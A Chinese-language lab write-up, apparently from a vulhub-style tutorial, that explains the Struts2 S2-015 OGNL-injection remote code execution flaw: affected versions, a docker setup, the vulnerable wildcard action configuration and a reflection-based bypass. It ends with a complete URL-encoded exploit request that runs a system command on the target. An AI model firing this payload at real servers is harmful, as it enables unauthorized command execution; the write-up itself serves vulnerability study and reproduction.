S2-015 遠程代碼執行漏洞

影響版本

2.0.0 - 2.3.14.2

環境搭建

cd vulhub/struts2/s2-015

docker-compose build && docker-compose up -d

漏洞分析

漏洞產生於配置了 Action 通配符 *,並將其作爲動態值時,解析時會將其內容執行 OGNL 表達式,例如:

<package name="S2-015" extends="struts-default">
    <action name="*" class="com.demo.action.PageAction">
        <result>/{1}.jsp</result>
    </action>
</package>

上述配置能讓我們訪問 name.action 時使用 name.jsp 來渲染頁面,但是在提取 name 並解析時,對其執行了 OGNL 表達式解析,所以導致命令執行。在實踐復現的時候發現,由於 name 值的位置比較特殊,一些特殊的字符如 / " \ 都無法使用(轉義也不行),所以在利用該點進行遠程命令執行時一些帶有路徑的命令可能無法執行成功。

還有需要說明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新內容中,刪除了 SecurityMemberAccess 類中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以後都不能直接通過 #_memberAccess['allowStaticMethodAccess']=true 來修改其值達到重獲靜態方法調用的能力。

這裏爲了到達執行命令的目的可以用 kxlzx 提到的調用動態方法 (new java.lang.ProcessBuilder('calc')).start() 來解決,另外還可以藉助 Java 反射機制去間接修改:

 

漏洞復現

直接測試1+1

執行任意命令

http://yourIP:8080/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d%2e%61%63%74%69%6f%6e

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章